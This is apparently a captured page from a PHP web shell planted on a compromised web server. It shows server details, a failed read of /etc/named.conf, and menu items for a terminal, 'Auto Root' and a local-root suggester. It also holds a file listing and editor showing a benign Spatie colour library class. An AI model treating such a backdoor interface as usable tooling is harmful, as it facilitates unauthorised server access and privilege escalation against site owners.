Linux sg77.dns-private.com 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
LiteSpeed
Server IP : 135.181.230.13 & Your IP : 216.73.217.69
Domains :
Cant Read [ /etc/named.conf ]
User : pilasate
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
pilasate /
schoolms /
vendor /
spatie /
color /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Exceptions
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
CIELab.php
2.4
KB
-rw-rw-rw-
2025-02-09 22:22
Cmyk.php
3.04
KB
-rw-rw-rw-
2025-02-09 22:22
Color.php
625
B
-rw-rw-rw-
2025-02-09 22:22
Contrast.php
757
B
-rw-rw-rw-
2025-02-09 22:22
Convert.php
10.16
KB
-rw-rw-rw-
2025-02-09 22:22
Distance.php
4.25
KB
-rw-rw-rw-
2025-02-09 22:22
Factory.php
884
B
-rw-rw-rw-
2025-02-09 22:22
Hex.php
3.44
KB
-rw-rw-rw-
2025-02-09 22:22
HsPatterns.php
1.57
KB
-rw-rw-rw-
2025-02-09 22:22
Hsb.php
2.69
KB
-rw-rw-rw-
2025-02-09 22:22
Hsl.php
2.69
KB
-rw-rw-rw-
2025-02-09 22:22
Hsla.php
3.13
KB
-rw-rw-rw-
2025-02-09 22:22
Named.php
728
B
-rw-rw-rw-
2025-02-09 22:22
Names.php
12.5
KB
-rw-rw-rw-
2025-02-09 22:22
Rgb.php
2.96
KB
-rw-rw-rw-
2025-02-09 22:22
Rgba.php
2.6
KB
-rw-rw-rw-
2025-02-09 22:22
Validate.php
5.11
KB
-rw-rw-rw-
2025-02-09 22:22
Xyz.php
2.52
KB
-rw-rw-rw-
2025-02-09 22:22
Save
Rename
<?php namespace Spatie\Color; class Hex implements Color { /** @var string */ protected $red; protected $green; protected $blue; protected $alpha = 'ff'; public function __construct(string $red, string $green, string $blue, string $alpha = 'ff') { Validate::hexChannelValue($red); Validate::hexChannelValue($green); Validate::hexChannelValue($blue); Validate::hexChannelValue($alpha); $this->red = strtolower($red); $this->green = strtolower($green); $this->blue = strtolower($blue); $this->alpha = strtolower($alpha); } public static function fromString(string $string) { Validate::hexColorString($string); $string = ltrim($string, '#'); switch (strlen($string)) { case 3: [$red, $green, $blue] = str_split($string); $red .= $red; $green .= $green; $blue .= $blue; $alpha = 'ff'; break; case 4: [$red, $green, $blue, $alpha] = str_split($string); $red .= $red; $green .= $green; $blue .= $blue; $alpha .= $alpha; break; default: case 6: [$red, $green, $blue] = str_split($string, 2); $alpha = 'ff'; break; case 8: [$red, $green, $blue, $alpha] = str_split($string, 2); break; } return new static($red, $green, $blue, $alpha); } public function red(): string { return $this->red; } public function green(): string { return $this->green; } public function blue(): string { return $this->blue; } public function alpha(): string { return $this->alpha; } public function toCIELab(): CIELab { return $this->toRgb()->toCIELab(); } public function toCmyk(): Cmyk { return $this->toRgb()->toCmyk(); } public function toHex(?string $alpha = null): self { return new self($this->red, $this->green, $this->blue, $alpha ?? $this->alpha); } public function toHsb(): Hsb { return $this->toRgb()->toHsb(); } public function toHsl(): Hsl { [$hue, $saturation, $lightness] = Convert::rgbValueToHsl( Convert::hexChannelToRgbChannel($this->red), Convert::hexChannelToRgbChannel($this->green), Convert::hexChannelToRgbChannel($this->blue) ); return new Hsl($hue, $saturation, $lightness); } public function toHsla(?float $alpha = null): Hsla { return $this->toRgb()->toHsla($alpha ?? Convert::hexAlphaToFloat($this->alpha)); } public function toRgb(): Rgb { return new Rgb( Convert::hexChannelToRgbChannel($this->red), Convert::hexChannelToRgbChannel($this->green), Convert::hexChannelToRgbChannel($this->blue) ); } public function toRgba(?float $alpha = null): Rgba { return $this->toRgb()->toRgba($alpha ?? Convert::hexAlphaToFloat($this->alpha)); } public function toXyz(): Xyz { return $this->toRgb()->toXyz(); } public function __toString(): string { return "#{$this->red}{$this->green}{$this->blue}" . ($this->alpha !== 'ff' ? $this->alpha : ''); } }